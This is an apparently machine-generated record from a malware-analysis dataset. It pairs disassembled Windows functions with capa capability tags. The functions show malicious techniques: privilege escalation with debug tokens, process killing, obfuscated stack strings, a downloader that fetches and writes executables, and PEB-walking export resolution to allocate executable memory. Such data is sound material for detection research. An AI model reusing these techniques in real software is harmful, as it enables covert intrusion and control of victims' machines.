joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000d32d
Capabilities:
Terminate process
Terminate thread

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov esi, ecx
push 0
push dword [esi + 0x28]
mov dword [esi], 0x100175cc
call edi
push 0
push dword [esi + 0x20]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push dword [esi + 0x24]
call edi
push 0x7d0
push dword [esi + 0x2c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push dword [esi + 0x2c]
call edi
mov eax, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
test eax, eax
je 0x1000d37b
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x1000d385
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x1000d38f
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x1000d399
push eax
call edi
push dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esi + 0x14]
call edi
push dword [esi + 0x18]
call edi
push dword [esi + 0x1c]
call edi
push dword [esi + 0x20]
call edi
push dword [esi + 0x24]
call edi
push dword [esi + 0x2c]
call edi
push dword [esi + 0x28]
call edi
mov ecx, esi
call fcn.1000ac2b
pop edi
pop esi
ret

Function at 0x1000d672
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.1000d4f3
pop ecx
xor edx, edx
test eax, eax
pop ecx
jle 0x1000d6a5
mov ecx, dword [ebp - 4]
add byte [ecx + edx], 0x7a
add ecx, edx
mov ecx, dword [ebp - 4]
xor byte [ecx + edx], 0x19
add ecx, edx
inc edx
cmp edx, eax
jl 0x1000d68e
mov eax, dword [ebp - 4]
leave
ret
Function at 0x1000d9ba
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push 4
and byte [ebp - 0x12], 0
pop eax
mov byte [ebp - 0x40], 0x48
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
mov byte [ebp - 0x3f], 0x41
push eax
lea eax, [ebp - 0x40]
push eax
push reloc.WS2_32.dll_bind
mov byte [ebp - 0x3e], 0x52
mov byte [ebp - 0x3d], 0x44
mov byte [ebp - 0x3c], 0x57
mov byte [ebp - 0x3b], 0x41
mov byte [ebp - 0x3a], 0x52
mov byte [ebp - 0x39], 0x45
mov byte [ebp - 0x38], 0x5c
mov byte [ebp - 0x37], 0x44
mov byte [ebp - 0x36], 0x45
mov byte [ebp - 0x35], 0x53
mov byte [ebp - 0x34], 0x43
mov byte [ebp - 0x33], 0x52
mov byte [ebp - 0x32], 0x49
mov byte [ebp - 0x31], 0x50
mov byte [ebp - 0x30], 0x54
mov byte [ebp - 0x2f], 0x49
mov byte [ebp - 0x2e], 0x4f
mov byte [ebp - 0x2d], 0x4e
mov byte [ebp - 0x2c], 0x5c
mov byte [ebp - 0x2b], 0x53
mov byte [ebp - 0x2a], 0x79
mov byte [ebp - 0x29], 0x73
mov byte [ebp - 0x28], 0x74
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x6d
mov byte [ebp - 0x25], 0x5c
mov byte [ebp - 0x24], 0x43
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x6e
mov byte [ebp - 0x21], 0x74
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], 0x61
mov byte [ebp - 0x1e], 0x6c
mov byte [ebp - 0x1d], 0x50
mov byte [ebp - 0x1c], 0x72
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x63
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x73
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x6f
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x5c
mov byte [ebp - 0x13], 0x30
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push str.MHz
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x1000db0f
Capabilities:
Contain obfuscated stackstrings
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push dword [ebp + 0x10]
xor ebx, ebx
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x59
push ebx
push edi
mov byte [ebp - 0x26], 0x53
mov byte [ebp - 0x25], 0x54
mov byte [ebp - 0x24], 0x45
mov byte [ebp - 0x23], 0x4d
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], 0x25
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], bl
call sub.MSVCRT.dll_memset
push 0x400
lea eax, [ebp - 0x428]
push ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push ebx
lea eax, [ebp - 0x428]
push dword [ebp + 0x10]
push ebx
push edi
push 1
push str.Host
push eax
push reloc.WS2_32.dll_bind
call fcn.1000accf
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x44
push edi
call esi
test eax, eax
jne 0x1000dc1b
push dword [ebp + 0x10]
push edi
call dword [sym.imp.WS2_32.dll_gethostname]
push edi
call esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000dc23
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
push ebx
xor ebx, ebx
push dword [ebp + 0x10]
mov byte [ebp - 0x38], 0x53
mov byte [ebp - 0x37], 0x59
mov byte [ebp - 0x36], 0x53
push ebx
mov byte [ebp - 0x35], 0x54
push dword [ebp + 0xc]
mov byte [ebp - 0x34], 0x45
mov byte [ebp - 0x33], 0x4d
mov byte [ebp - 0x32], 0x5c
mov byte [ebp - 0x31], 0x43
mov byte [ebp - 0x30], 0x75
mov byte [ebp - 0x2f], 0x72
mov byte [ebp - 0x2e], 0x72
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x6e
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0x43
mov byte [ebp - 0x29], 0x6f
mov byte [ebp - 0x28], 0x6e
mov byte [ebp - 0x27], 0x74
mov byte [ebp - 0x26], 0x72
mov byte [ebp - 0x25], 0x6f
mov byte [ebp - 0x24], 0x6c
mov byte [ebp - 0x23], 0x53
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x74
mov byte [ebp - 0x20], 0x5c
mov byte [ebp - 0x1f], 0x53
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], 0x72
mov byte [ebp - 0x1c], 0x76
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x63
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x73
mov byte [ebp - 0x17], 0x5c
mov byte [ebp - 0x16], 0x25
mov byte [ebp - 0x15], 0x73
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x10], 0x43
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x63
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x47
mov byte [ebp - 8], 0x72
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x75
mov byte [ebp - 5], 0x70
mov byte [ebp - 4], bl
call sub.MSVCRT.dll_memset
push 0x400
lea eax, [ebp - 0x438]
push ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x438]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push ebx
lea eax, [ebp - 0x10]
push dword [ebp + 0x10]
push ebx
push dword [ebp + 0xc]
push 1
push eax
lea eax, [ebp - 0x438]
push eax
push reloc.WS2_32.dll_bind
call fcn.1000accf
add esp, 0x44
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
pop ebx
leave
ret
Function at 0x1000e40b
Capabilities:
Acquire debug privileges
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor ebx, ebx
push str.Kernel32.dll
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
call edi
cmp eax, ebx
jne 0x1000e43c
xor eax, eax
jmp 0x1000e59f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.WTSGetActiveConsoleSessionId
push eax
call esi
call eax
push str.WTSQueryUserToken
push str.WTSAPI32.dll
mov dword [ebp - 0x18], eax
call edi
push eax
call esi
lea ecx, [ebp - 0x10]
push ecx
push dword [ebp - 0x18]
call eax
push 0x30
lea eax, [ebp - 0x84]
pop edi
push 0x44
pop esi
push esi
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x40]
push ebx
push eax
mov dword [ebp - 0x84], esi
mov dword [ebp - 0x7c], str.winsta0default
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0xc]
push eax
push 0x201eb
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000e56e
lea eax, [ebp - 0x20]
push eax
push str.SeDebugPrivilege
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1000e56e
mov eax, dword [ebp - 0x20]
push 1
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
pop esi
lea eax, [ebp - 8]
mov dword [ebp - 0x30], esi
push eax
push esi
push esi
push ebx
push 0x2000000
mov dword [ebp - 0x24], 2
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x1000e56e
lea eax, [ebp - 0x18]
push 4
push eax
push 0xc
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
je 0x1000e56e
push ebx
push ebx
lea eax, [ebp - 0x30]
push 0x10
push eax
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1000e56e
push esi
lea eax, [ebp - 0x14]
push dword [ebp - 8]
mov dword [ebp - 0x14], ebx
push eax
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
je 0x1000e547
mov edi, 0x430
jmp 0x1000e54a
mov dword [ebp - 0x14], ebx
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x84]
push eax
push ebx
push dword [ebp - 0x14]
push edi
push ebx
push ebx
push ebx
push dword [ebp + 8]
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
jne 0x1000e577
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
cmp dword [ebp - 0x10], ebx
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x1000e587
push dword [ebp - 0x10]
call esi
cmp dword [ebp - 8], ebx
je 0x1000e591
push dword [ebp - 8]
call esi
cmp dword [ebp - 0xc], ebx
je 0x1000e59b
push dword [ebp - 0xc]
call esi
mov eax, dword [ebp - 4]
pop esi
pop edi
pop ebx
leave
ret 4
Function at 0x1000e919
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, 0x104
mov esi, 0x1001e80c
push edi
push dword [ebx]
push esi
call dword [sym.imp.MSVCRT.dll_strncpy]
push edi
push dword [ebx]
push esi
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x1000ea8f
push esi
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
xor ebx, ebx
mov dword [0x1001e808], eax
cmp eax, ebx
je 0x1000ea42
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push ebx
push 2
call fcn.1000ea47
push ebx
push ebx
push 4
call fcn.1000ea47
push esi
call fcn.100060e2
add esp, 0x1c
mov dword [0x1001e804], eax
nop
nop
nop
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 6
jae 0x1000e9c3
push ebx
push ebx
push ebx
push esi
push fcn.1000e5da
push ebx
push ebx
call fcn.1000f21a
add esp, 0x1c
jmp 0x1000ea00
lea eax, [ebp - 0x298]
push edi
push eax
push dword [0x1001e7f8]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x298]
push esi
push eax
lea eax, [ebp - 0x194]
push str.rundll32.exe___s__Fun__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x194]
push eax
call fcn.1000e40b
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call esi
mov eax, dword [0x1001e910]
cmp eax, 3
je 0x1000ea19
cmp eax, 1
jne 0x1000ea06
push 0xffffffffffffffff
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x1001e804], 0x120
jne 0x1000ea42
push 0x2710
call esi
jmp 0x1000ea39
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000ed3d
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov ebx, str.SeDebugPrivilege
push 1
mov dword [ebp - 4], ecx
push ebx
call fcn.1000effb
xor esi, esi
pop ecx
cmp dword [ebp + 0xc], esi
pop ecx
jbe 0x1000ed8b
push edi
mov eax, dword [ebp + 8]
push dword [esi + eax]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, dword [ebp + 0xc]
jb 0x1000ed5d
pop edi
push 0
push ebx
call fcn.1000effb
pop ecx
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
call fcn.1000ebb8
mov ecx, dword [ebp - 4]
call fcn.1000ebfa
pop esi
pop ebx
leave
ret 8
Function at 0x1000f075
Capabilities:
Shutdown system

Disassembly:
push esi
mov esi, str.SeShutdownPrivilege
push 1
push esi
call fcn.1000effb
pop ecx
pop ecx
push 0
push dword [esp + 0xc]
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push esi
call fcn.1000effb
pop ecx
pop ecx
pop esi
ret

Function at 0x1000f21a
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push str.CreateEventA
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 0xc], ecx
mov cl, byte [ebp + 0x20]
mov byte [ebp - 8], cl
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
call eax
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0x1000f1b6
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret

Function at 0x1000f4de
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push esi
mov esi, 0x9c
push esi
lea eax, [ebp - 0x9c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x9c], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push eax
call esi
test eax, eax
jne 0x1000f52f
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x9c], 0x94
push eax
call esi
test eax, eax
je 0x1000f54d
cmp dword [ebp - 0x98], 5
jne 0x1000f548
cmp dword [ebp - 0x94], 0
jne 0x1000f548
call fcn.1000f381
jmp 0x1000f54d
call fcn.1000f309
pop esi
leave
ret

Function at 0x1000f6b4
Capabilities:
Simulate ctrl alt del

Disassembly:
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push str.Winlogon
mov esi, eax
call fcn.1000f66f
test eax, eax
pop ecx
jne 0x1000f6d5
pop esi
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x1000f6f7
push esi
call fcn.1000f619
pop ecx
push 1
pop eax
pop esi
ret
Function at 0x1000f6fc
Capabilities:
Contain obfuscated stackstrings
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
and dword [ebp - 0x24], 0
and dword [ebp - 0x3c], 0
push edi
push 1
mov ebx, str.WININET.dll
pop eax
push str.InternetOpenA
push ebx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.InternetReadFile
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
mov dword [ebp - 0x34], eax
xor eax, eax
and byte [ebp - 8], 0
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x20]
push eax
mov byte [ebp - 0x20], 0x4d
mov byte [ebp - 0x1f], 0x6f
mov byte [ebp - 0x1e], 0x7a
mov byte [ebp - 0x1d], 0x69
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x61
mov byte [ebp - 0x19], 0x2f
mov byte [ebp - 0x18], 0x34
mov byte [ebp - 0x17], 0x2e
mov byte [ebp - 0x16], 0x30
mov byte [ebp - 0x15], 0x20
mov byte [ebp - 0x14], 0x28
mov byte [ebp - 0x13], 0x63
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x11], 0x6d
mov byte [ebp - 0x10], 0x70
mov byte [ebp - 0xf], 0x61
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 0xd], 0x69
mov byte [ebp - 0xc], 0x62
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x29
call dword [ebp - 4]
test eax, eax
mov dword [ebp - 0x30], eax
je 0x1000f7f3
push str.InternetOpenUrlA
push ebx
call esi
push eax
call edi
push str.InternetCloseHandle
push ebx
mov dword [ebp - 0x38], eax
call esi
push eax
call edi
xor esi, esi
mov dword [ebp - 4], eax
push esi
push bind
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 0x30]
call dword [ebp - 0x38]
mov ebx, eax
cmp ebx, esi
jne 0x1000f7fa
xor al, al
jmp 0x1000f88c
push esi
push esi
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x1000f87a
mov edi, 0x400
push edi
lea eax, [ebp - 0x43c]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x43c]
push edi
push eax
push ebx
call dword [ebp - 0x34]
cmp dword [ebp - 0x2c], esi
je 0x1000f84c
cmp word [ebp - 0x43c], 0x5a4d
jne 0x1000f86e
lea eax, [ebp - 0x3c]
push esi
push eax
lea eax, [ebp - 0x43c]
push dword [ebp - 0x24]
mov dword [ebp - 0x2c], esi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x24], esi
jbe 0x1000f871
jmp 0x1000f81b
mov dword [ebp - 0x28], esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [ebp - 4]
push dword [ebp - 0x30]
call dword [ebp - 4]
xor eax, eax
cmp dword [ebp - 0x28], esi
setne al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000ffde
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x10016f5a
call fcn.10016960
sub esp, 0x18
push ebx
push esi
mov esi, ecx
call fcn.1000fa3c
test al, al
je 0x10010072
push 0x18
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov ecx, eax
mov dword [ebp - 0x14], ecx
xor ebx, ebx
cmp ecx, ebx
mov dword [ebp - 4], ebx
je 0x10010017
call fcn.1000f891
mov ecx, eax
jmp 0x10010019
xor ecx, ecx
mov eax, dword [esi + 0x20]
or dword [ebp - 4], 0xffffffff
cmp eax, ebx
mov dword [esi + 0x14], ecx
je 0x10010032
mov edx, dword [esi + 0x24]
cmp edx, ebx
je 0x10010032
push edx
push eax
jmp 0x10010066
push 0x120
push 0x160
call fcn.1000fad3
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x10010076
mov ecx, dword [esi + 0x14]
push 0x90
push 0xb0
call fcn.1000fad3
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x10010076
mov ecx, dword [esi + 0x14]
push ebx
push ebx
call fcn.1000fad3
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x10010076
xor al, al
jmp 0x100100f4
push edi
mov dword [ebp - 0x24], 0x3336324d
mov dword [ebp - 0x20], 0x32335649
mov dword [ebp - 0x1c], 0x3234504d
mov dword [ebp - 0x18], 0x64697663
mov dword [ebp - 0x14], ebx
lea edi, [ebp - 0x24]
push 0x78
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
je 0x100100b0
mov dword [eax], 0x100175f8
mov dword [eax + 0x48], ebx
jmp 0x100100b2
xor eax, eax
push dword [edi]
mov ecx, dword [esi + 0x14]
mov dword [esi + 0x18], eax
push dword [ecx + 8]
mov ecx, eax
call fcn.10010102
test al, al
jne 0x100100e6
mov ecx, dword [esi + 0x18]
cmp ecx, ebx
je 0x100100d5
mov eax, dword [ecx]
push 1
call dword [eax]
inc dword [ebp - 0x14]
add edi, 4
cmp dword [ebp - 0x14], 4
mov dword [esi + 0x18], ebx
jb 0x10010099
jmp 0x100100f0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x24]
mov dword [esi + 0x1c], eax
mov al, byte [ebp - 0xd]
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x4103bf
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x410473
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0041034f
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x41044c
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41047f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x41049a
test ebp, ebp
je 0x41049a
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x4104a2
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x4104e2
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x41053e
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x410539
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x410524
test dl, dl
je 0x410520
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x410524
add ecx, 2
add eax, 2
test dl, dl
jne 0x410504
xor eax, eax
jmp 0x410529
sbb eax, eax
or eax, 1
test eax, eax
je 0x410548
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x4104f1
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x41055f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.004103bf
test eax, eax
jne 0x410577
pop edi
pop ebx
add esp, 0x10
ret
push esi
lea edx, [esp + 0xc]
mov ecx, eax
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov byte [esp + 0x18], 0
call fcn.0041047f
mov esi, eax
test esi, esi
jne 0x4105ad
pop esi
pop edi
pop ebx
add esp, 0x10
ret
push 0x40
push 0x3000
push edi
push ebx
call esi
test eax, eax
jne 0x4105c7
push 0x40
push 0x3000
push edi
push eax
call esi
pop esi
pop edi
pop ebx
add esp, 0x10
ret